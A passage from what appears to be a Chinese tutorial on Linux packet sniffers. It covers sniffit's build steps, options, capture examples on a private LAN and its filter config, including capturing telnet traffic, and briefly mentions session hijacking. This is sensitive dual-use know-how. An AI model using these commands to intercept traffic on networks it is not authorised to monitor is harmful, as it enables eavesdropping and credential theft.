提供活动会话劫持。
其特有的特色功能和易于使用的界面,使得它对于linux入门者是一个非常好的选择。
5.sniffit

  sniffit是针对哪些需要了解更多信息的人的。

  作者:Brecht Claerhout
  条件:C, IP 头文件
  配置文件:见后面的讨论
  安全历史:无

  注:sniffit功能非常强大,但是不易学习使用。

  $tar xvfz sniffit_0_3_7.tar.gz
  $./configure (配置命令将检测系统是否符合要求)
  $make (编译源代码)
  strip sniffit (精简二进制代码的大小)

  现在就可以使用sniffit了(sniffit的配置我们最后讨论)。

  语法:

  sniffit [-xdabvnN] [-P proto ] [-A char ] [-p port ] [(-r|-R) recordfile ] [-l sniflen ] [-L logparam ] [-F snifdevice ] [-D tty ] [-M plugin ] [(-t Target-IP | -s Source-IP ) | (-i|-I) | -c config-file ]

  sniffit是一个TCP/IP/ICMP协议数据报监听器,其能给出关于这些协议数据报非常详细的技术信息(SEQ,ACK,TTL,Windows,….)及符合监听条件的数据报的各种不同的格式(hex或纯文本)

  sniffit缺省的可以处理以太和PPP设备。但是也可以用在其他的设备上(参见README.FIRST和sn_config.h)。sniffit可以进行方便的配置实现对接入的数据报进行过滤。而配置文件允许非常确定地指定需要处理的数据报。 sniffit同样有一个交互式界面。

  选项:

  -v
  显示版本信息
  -t 目标地址
  只处理目的地址为"目标地址"的数据,和 ‘-s’ ‘-c’ ‘-v’ 选项不兼容
  源地址
  只处理发送地址为"源地址"的数据,和’-t’ ‘-c’ ‘-v’ 选项不兼容
  -c 配置文件
  在配置文件中对包过滤规则进行定义,和-t’ ‘-s’ ‘-v’不兼容
  -R 文件
  将输出结果记录到"文件"中(和’-v’不兼容)
  -n
  关闭IP数据报校验,使伪造的数据也可以显示出来
  -x
  打印TCP数据报的扩展信息到标准输出中((SEQ,ACK, Flags等),往往用来跟踪欺骗,包丢失及实现其他的网络调试测试任务。和’-i’ ‘I’ ‘-v’不兼容
  -d
  输出到缺省的文件中,一般文件名为源目的地址的组合如:192.168.0.232.1120-192.168.0.231.80
  -a
  输出ascII码格式,不可打印的字符用”.”表示
  -P 协议
  指定需要处理的数据的协议类型,IP,TCP,ICMP,UDP等。
  -p 端口
  只处理目的端口为"端口"的数据。
  -l sniflen
  在正常模式下,记录的数据的总和(缺省为300字节),每次的连接的前sniflen个字节被记录下来。
  -F device
  指定监听某个设备的数据如eth0,eth1等
  -D tty
  所有的记录信息都被输出到指定的tty

  举例:

  要监听从192.168.0.233发往192.168.0.231的访问WWW请求数据:

  [root@lix /tmp]#/usr/sbin/sniffit -p 80 -P TCP -s 192.168.0.233 -d ttyp1
  Packet ID (from_IP.port-to_IP.port): 192.168.0.233.1060-192.168.0.231.80
    45 00 00 2C 6D 0B 40 00 80 06 0A A0 C0 A8 00 E9 C0 A8 00 E7 04 24 00 50 00 4E
    89 2A 00 00 00 00 60 02 20 00 67 19 00 00 02 04 05 B4

  注:192.168.0.231为一台运行linux的服务器

  如果希望将输出定向到一个文件,则

  [root@lix /tmp]# /usr/sbin/sniffit -p 80 -P TCP -s 192.168.0.233 -R /tmp/wwwlog

  如果希望查看从192.168.0.231返回给192.168.0.225的www页面数据,并且将数据存储在一个文件/tmp/wwwlog中:

  [root@lix /tmp]# /usr/sbin/sniffit -P TCP -t 192.168.0.225 -R /tmp/wwwlog

  注:在225上不要开别的到231的连接,如telnet 否则 数据就回混杂在一起。

  如果希望查看从192.168.0.233发给192.168.0.231的ICMP数据,并且将其显示到控制台上:

  [root@lix /tmp]# /usr/sbin/sniffit -P ICMP -t 192.168.0.233 -d ttyp1

  sniffit支持配置文件,通过配置文件可以提供更强大的嗅探控制。配置文件格式包含五个不同的字段,意义分别如下:

字段 1—select 或 deselect。指示sniffit捕捉后面条件指定的数据或者不捕捉。
字段 2—from, to, 或 both。 H指示sniffit捕捉来自、发往或双向的指定的主机的数据。
字段 3—host, port, or mhost。指定一个或多个目标主机。mhost可以用来指定多个主机,如192.168.0。
字段 4—hostname, port number, or multiple-host 列表。
字段 5—端口号。

  例如:

  select from host 192.168.0.1
  select from host 192.168.0.1 80
  select both port 23

  sniffit将捕捉来自两个主机的telnet和www的所有信息。

  select both mhosts 100.100.12.
  deselect both port 80
  select both host 100.100.12.2

  sniffit将捕捉100.100.12.*相关除www以外的所有数据,但是显示100.100.12.2的www数据。